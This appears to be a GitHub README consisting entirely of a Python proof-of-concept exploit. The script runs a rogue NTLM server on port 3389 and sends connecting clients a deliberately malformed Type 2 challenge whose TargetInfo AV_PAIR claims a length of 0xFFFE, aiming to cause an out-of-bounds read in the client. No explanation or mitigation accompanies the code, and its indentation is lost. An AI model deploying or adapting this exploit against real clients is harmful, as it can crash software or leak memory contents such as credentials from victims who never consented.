README.md
Rendering markdown...
import socket
import base64
import struct
HOST = '0.0.0.0'
PORT = 3389 # Common RDP port
# NTLM Signature
NTLM_SIGNATURE = b'NTLMSSP\x00'
# Build a malicious AV_PAIR section (out-of-bounds trigger)
# This creates a fake TargetInfo with a malformed AV pair length.
malicious_target_info = b''.join([
struct.pack('<H', 0x0001), # AV_ID: MsvAvNbComputerName
struct.pack('<H', 0xFFFE), # AV_LEN: large length -> leads to OOB read
b'A' * 4, # some data (incomplete)
struct.pack('<H', 0x0000), # MsvAvEOL
struct.pack('<H', 0x0000)
])
# Create NTLM Challenge message (Type 2)
def build_ntlm_type2(malicious_info):
challenge_flags = 0x8201 # NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_TARGET_TYPE_DOMAIN
challenge = b'\x11\x22\x33\x44\x55\x66\x77\x88'
message = NTLM_SIGNATURE
message += struct.pack('<I', 2) # Message type: Challenge (2)
message += struct.pack('<HHI', 0, 0, 0) # TargetNameFields (empty)
message += struct.pack('<I', challenge_flags)
message += challenge
message += b'\x00' * 8 # Reserved
message += struct.pack('<HHI', len(malicious_info), len(malicious_info), len(message) + 12) # TargetInfo
message += b'\x00' * 8 # Version (optional)
message += malicious_info
return message
def handle_client(conn):
print("[+] Connection accepted")
data = conn.recv(4096)
if b"NTLMSSP" not in data:
print("[-] No NTLMSSP negotiation received")
return
print("[*] Received Type 1 message")
# Send malformed NTLM Type 2 Challenge
ntlm_challenge = build_ntlm_type2(malicious_target_info)
base64_challenge = base64.b64encode(ntlm_challenge).decode()
response = (
'HTTP/1.1 401 Unauthorized\r\n'
'WWW-Authenticate: NTLM ' + base64_challenge + '\r\n'
'\r\n'
).encode()
conn.send(response)
print("[*] Sent malicious Type 2 challenge")
try:
# Receive Type 3 Authenticate (not necessary to process)
data = conn.recv(4096)
print("[*] Received Type 3 message")
except:
pass
conn.close()
print("[*] Closed connection")
def main():
print(f"[+] Starting PoC NTLM server on {HOST}:{PORT}")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
while True:
conn, addr = s.accept()
handle_client(conn)
if __name__ == "__main__":
main()